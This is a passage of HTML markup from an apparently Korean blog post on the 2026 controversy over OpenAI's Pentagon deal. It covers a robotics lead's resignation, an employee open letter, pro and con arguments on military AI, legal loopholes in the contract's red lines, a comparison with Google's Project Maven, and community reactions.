&lt;p style=&quot;margin: 10px 0 0 0; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;사법부 감독 없는 미국인 감시와 인간 승인 없는 치명적 자율성은, 실제로 받은 것보다 훨씬 더 많은 숙고가 필요한 레드라인이었다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Kalinowski는 OpenAI가 기밀 클라우드 네트워크에 AI 모델을 배포하기로 합의하기 전에 충분한 시간을 들여 검토하지 않았다고 비판했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;로보틱스 팀장이라는 직책의 특성상, AI가 물리적 세계에서 작동하는 시스템과 직결되는 만큼 이 사임은 상징적 무게가 컸다. Gizmodo는 이를 &quot;비정상적으로 불안한 Pentagon 관련 사임&quot;이라고 표현했다. 로보틱스 분야는 자율 무기와 가장 직접적으로 연관되는 기술이기 때문이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.bloomberg.com/news/articles/2026-03-07/openai-s-head-of-robotics-resigns-over-company-s-pentagon-deal&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bloomberg&lt;/a&gt;, &lt;a href=&quot;https://techcrunch.com/2026/03/07/openai-robotics-lead-caitlin-kalinowski-quits-in-response-to-pentagon-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch&lt;/a&gt;, &lt;a href=&quot;https://fortune.com/2026/03/07/openai-robotics-leader-caitlin-kalinowski-resignation-pentagon-surveillance-autonomous-weapons-anthropic/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune&lt;/a&gt;, &lt;a href=&quot;https://gizmodo.com/there-was-just-an-unusually-unsettling-pentagon-related-resignation-at-openai-2000731036&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Gizmodo&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenAI 직원 공개 서한&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개별 사임 외에도, OpenAI 내부에서 더 넓은 범위의 반발이 있었다. CNN 보도에 따르면, OpenAI 직원들 다수가 Anthropic을 지지하는 공개 서한에 서명했다. 이는 자사 경영진의 결정에 공개적으로 반기를 든 것으로, AI 업계에서 전례가 드문 일이었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 서한의 핵심 메시지는 &quot;AI의 군사적 사용에 대한 윤리적 가이드라인은 경쟁 우위보다 중요하다&quot;는 것이었다. 자사의 경쟁사를 공개적으로 지지한다는 것은 그만큼 내부 불만이 심각했다는 뜻이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.cnn.com/2026/03/04/tech/pentagon-anthropic-openai-staff-reactions&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNN&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI 업계 전체 파급 효과&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건은 개별 기업을 넘어 AI 업계 전체에 파급 효과를 미쳤다. 핵심 변화를 정리한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;영향 받은 영역&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;변화 내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;소비자 선택 기준&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 도구 선택 시 성능뿐 아니라 기업의 윤리적 입장도 중요한 기준으로 부상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;방산 업체 AI 전략&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Anthropic의 '공급망 위험' 지정으로 방산 업체들이 AI 파트너를 재검토해야 하는 상황 발생&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;AI 인재 시장&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;윤리적 입장을 중시하는 AI 연구자들이 Anthropic 등 안전 중심 기업으로 이동하는 흐름 가속화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;AI 안전 논의&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;AI 안전&quot;의 범위가 기술적 정렬(alignment)을 넘어 군사적 사용, 감시, 자율 무기까지 확장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;정부-기업 관계&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;윤리적 이유로 정부 요구를 거부하면 보복을 받을 수 있다&quot;는 전례가 만들어짐. 다른 AI 기업들의 향후 협상에 영향&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 6: AI 군사화 논쟁 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. AI 군사화 논쟁 -- 찬반 양론 정리&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 사건은 AI 업계에서 오래 지속되어 온 근본적 질문을 수면 위로 끌어올렸다. &quot;AI 기술은 군사적으로 사용되어도 되는가?&quot; &quot;사용된다면, 어디에 선을 그어야 하는가?&quot; 이 질문에 대한 양측의 논거를 정리한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;찬성 측: &quot;AI 군사 활용은 불가피하고 필요하다&quot;&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 180px;&quot;&gt;논거&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;국가 안보&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;중국, 러시아 등 전략적 경쟁국들이 이미 군사 AI를 적극 개발하고 있다. 미국이 뒤처지면 안보 위협이 증대한다. Pentagon 관계자들은 이 논리를 가장 강하게 주장한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;민간인 보호 가능성&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI가 목표물 선정 과정에서 민간인을 더 정확하게 식별하고 오폭을 줄일 수 있다는 주장이다. 인간 판단의 오류를 AI가 보완할 수 있다는 논리.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;기술 중립성&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;도구 자체는 선악이 없으며, 사용 방식이 문제다. AI 기업이 정부에 기술을 제공하는 것과 정부가 그것을 어떻게 사용하는지는 별개라는 논리. Sam Altman이 취한 입장이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;참여를 통한 영향력&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;군사 AI 개발에서 빠지면, 윤리적 가이드라인을 반영할 기회 자체를 잃는다. 참여하면서 안전장치를 넣는 것이 낫다는 관점. Altman의 &quot;de-escalate&quot; 발언이 이 논리에 해당한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;반대 측: &quot;레드라인 없는 AI 군사화는 위험하다&quot;&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 180px;&quot;&gt;논거&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;자율 살상의 위험&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;인간의 최종 결정 없이 AI가 치명적 무력을 행사하면, 오작동이나 편향에 의한 민간인 피해가 발생할 수 있다. 책임 소재도 불분명해진다. AI 시스템의 오류는 인간의 오류와 질적으로 다른 유형의 위험을 초래한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;감시 국가 우려&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;사법부 감독 없는 AI 감시 도구는 시민의 기본권을 침해할 수 있다. 미국 수정헌법 제4조(불합리한 수색과 압수 금지)와의 충돌이 우려된다. AI의 대규모 데이터 처리 능력은 전통적인 감시와는 차원이 다른 수준의 프라이버시 침해를 가능하게 한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;선례의 위험&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;미국이 AI를 무제한 군사 목적에 사용하면, 다른 국가들도 같은 명분으로 자국민 감시나 자율 무기 개발을 정당화할 수 있다. 국제적 규범 형성에 부정적 영향을 미친다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;계약 구속력의 한계&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;OpenAI가 설정한 레드라인은 국방부의 자체 정책 변경으로 무력화될 수 있다. 법적 구속력이 약한 안전장치는 &quot;safety theater(안전 쇼)&quot;에 불과하다는 비판 (Anthropic의 입장).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;기업 사명과의 괴리&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;인류에 이로운 AI&quot;를 표방하며 출발한 OpenAI가 기밀 군사 시스템에 AI를 배포하는 것은 창립 사명과 정면으로 충돌한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;법적 허점 분석&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 논쟁에서 가장 날카로운 비판은 법률 전문가들에게서 나왔다. MIT Technology Review와 Built In의 분석을 기반으로 핵심 논점을 정리한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;법적 쟁점 요약&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. 정책 vs 법률&lt;/b&gt;: OpenAI의 레드라인은 '부서 정책(Department policy)'을 기준으로 삼고 있다. 법률이나 헌법이 아닌 행정부 내부 정책은, 행정부가 자체적으로 변경할 수 있다. 의회 승인이 필요하지 않다. Institute for Law &amp;amp; AI의 전문가가 이 점을 명확히 지적했다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. &quot;all lawful purposes&quot;의 범위&lt;/b&gt;: 현행 미국법상, 외국인 대상 감시(해외 정보 활동)와 전쟁 중 자율 무기 사용은 대부분 합법이다. &quot;모든 합법적 목적&quot;이라는 조건은 사실상 거의 모든 군사적 사용을 허용한다는 비판이 있다. 특히 FISA(해외정보감시법)하에서의 데이터 수집이나 전시 상황에서의 무기 사용은 광범위하게 합법으로 해석될 수 있다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 민간 기업의 영향력 한계&lt;/b&gt;: 계약이 체결된 후, 실제 사용 현장에서 민간 기업이 군의 사용 방식을 감독하거나 제한할 수 있는 실질적인 메커니즘이 없다. 기밀 환경에서는 OpenAI가 자사 기술의 실제 사용 방식을 확인하는 것 자체가 제한적이다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. 계약 해석의 재량&lt;/b&gt;: &quot;의도적(intentionally)&quot;이라는 단어는 법적 맥락에서 매우 좁게 해석될 수 있다. &quot;의도하지 않은&quot; 감시, 즉 다른 목적을 위한 데이터 수집 과정에서 &quot;부수적으로&quot; 발생하는 시민 데이터 수집은 이 조항에 해당하지 않을 수 있다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Google Project Maven 사례와의 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 사건은 2018년 Google의 Project Maven 사태와 자주 비교된다. 두 사건의 차이점을 정리하면:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Google (2018)&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;OpenAI (2026)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;프로젝트 내용&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;드론 영상 분석을 위한 AI (Project Maven)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;기밀 네트워크에 범용 AI 모델 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;직원 반발 규모&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;약 4,000명 서명, 수십 명 사임&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;공개 서한 서명(규모 미공개), 로보틱스 팀장 사임&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;소비자 반발 규모&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;제한적 (Google 서비스 대체 어려움)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;295% 삭제율 급증, 150만~250만 명 운동 참여&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;CEO 대응&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;계약 비갱신 결정 (&quot;AI 원칙&quot; 발표)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;실수 인정하되 계약은 유지 (조건만 일부 수정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;최종 결과&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;계약 포기&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;계약 유지 (조건 수정)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 큰 차이는 결과다. Google은 직원 반발에 굴복하여 계약을 포기했지만, OpenAI는 계약을 유지했다. 또한 소비자 반발의 규모는 OpenAI 사례가 훨씬 컸지만, 결정적인 차이는 만들어내지 못했다. 이는 OpenAI가 이 계약을 전략적으로 포기할 수 없는 이유가 있다는 해석을 가능하게 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 7: 커뮤니티 반응 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 커뮤니티 반응 (Reddit / X / Hacker News)&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 20px;&quot;&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 0 0 15px 0; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Reddit 반응&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;r/ChatGPT, r/artificial, r/technology 등 주요 서브레딧에서 이 사건은 수천 개의 업보트를 받은 핫토픽이었다. 주요 반응을 요약하면 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;OpenAI는 더 이상 'Open'이 아니다&quot;&lt;/b&gt;: OpenAI의 비영리 출발점과 현재의 군사 계약 사이의 괴리를 비판하는 의견이 가장 많았다. &quot;이름에서 'Open'을 빼야 한다&quot;는 댓글이 반복적으로 등장했다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;Anthropic이 옳은 일을 했다&quot;&lt;/b&gt;: Anthropic의 거절을 지지하면서도, &quot;정부에 의해 퇴출당한 것은 보복이며 위험한 선례&quot;라는 우려도 많았다. &quot;기업이 윤리적 입장을 지켰다고 정부가 처벌하는 것이 민주주의에서 용납되어야 하는가&quot;라는 근본적 질문이 제기되었다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;어차피 AI 군사화는 막을 수 없다&quot;&lt;/b&gt;: 현실론을 주장하는 사용자들도 있었다. &quot;OpenAI가 안 하면 xAI가 하고, xAI가 안 하면 중국이 한다. 차라리 안전장치를 넣으면서 참여하는 게 낫다&quot;는 논리. 이 입장은 상당수의 업보트를 받았다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;구독 취소하고 Claude로 갈아탔다&quot;&lt;/b&gt;: 실제 구독 취소 인증 스크린샷을 올리는 게시물도 다수 있었다. &quot;Claude가 원래도 코딩에서는 더 좋았다&quot;며 전환의 실질적 비용이 낮다는 반응이 눈에 띄었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 15px 0; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;X(트위터) 반응&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;X에서는 #QuitGPT, #CancelChatGPT 해시태그가 트렌딩에 올랐다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI 연구자 커뮤니티&lt;/b&gt;: AI 안전 연구자들 사이에서는 &quot;이것이 바로 우리가 경고한 시나리오&quot;라는 반응이 지배적이었다. OpenAI를 떠난 전직 직원들의 비판적 발언도 화제가 되었다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;개발자 커뮤니티&lt;/b&gt;: &quot;Claude Code가 이미 더 좋았는데, 이제 윤리적 이유까지 추가됐다&quot;는 반응. 실무 도구로서의 비교와 윤리적 판단이 결합된 양상.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;정치적 논쟁&lt;/b&gt;: 트럼프 행정부의 Anthropic 퇴출을 &quot;정부가 기업을 윤리적 입장 때문에 처벌하는 것&quot;으로 보는 시각과, &quot;국가 안보에 비협조적인 기업에 대한 당연한 조치&quot;로 보는 시각이 충돌했다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Sam Altman의 사과에 대한 반응&lt;/b&gt;: &quot;사과하면서 계약은 유지한다? 진정한 사과가 아니다&quot;라는 비판과, &quot;적어도 실수를 인정한 것은 긍정적&quot;이라는 반응이 혼재했다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 15px 0; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hacker News 반응&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;Hacker News에서는 더 기술적이고 법적인 분석이 주를 이루었다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;계약 문구 분석&lt;/b&gt;: 법률 배경을 가진 사용자들이 OpenAI의 &quot;레드라인&quot; 문구를 조문 단위로 분석하며, &quot;부서 정책은 언제든 변경 가능하므로 실질적 보호가 안 된다&quot;는 점을 집중적으로 지적했다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Google의 Project Maven 비교&lt;/b&gt;: 2018년 Google이 직원 반발로 Pentagon의 Project Maven(AI 활용 군사 감시 프로젝트)을 포기한 사례와 비교하는 토론이 활발했다. &quot;OpenAI는 Google과 달리 직원 반발에도 철회하지 않았다&quot;는 분석.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;all lawful purposes&quot;의 의미&lt;/b&gt;: &quot;현행법상 합법인 군사 활동의 범위가 매우 넓다&quot;는 점을 들어, 이 조건이 사실상 무제한 사용을 허용한다는 분석이 다수 업보트를 받았다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;사업 전략 관점&lt;/b&gt;: &quot;Anthropic은 단기적으로 정부 계약을 잃었지만, 소비자 시장에서 엄청난 신뢰를 얻었다. 장기적으로 어느 쪽이 유리할지 지켜볼 일&quot;이라는 냉철한 분석도 있었다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Elon Musk의 이해충돌&lt;/b&gt;: xAI CEO이자 정부 효율성 부서(DOGE) 수장인 Musk의 이중적 위치에 대한 비판도 제기되었다. &quot;자신의 AI 회사가 Pentagon 계약을 따면서 정부 효율성을 감시하는 위치에 있는 것은 심각한 이해충돌&quot;이라는 지적이 있었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고&lt;/b&gt; &lt;br /&gt;위 커뮤니티 반응은 공개 게시물 기반 요약이며, 각 플랫폼 사용자들의 개인 의견이다. 전체 커뮤니티의 합의된 견해를 대표하지 않는다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 8: 한국 사용자에게 주는 시사점 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 한국 사용자에게 주는 시사점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건은 미국에서 벌어진 일이지만, 한국의 AI 사용자와 개발자에게도 여러 시사점을 준다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI 도구 선택 기준의 변화&lt;/h3&gt;
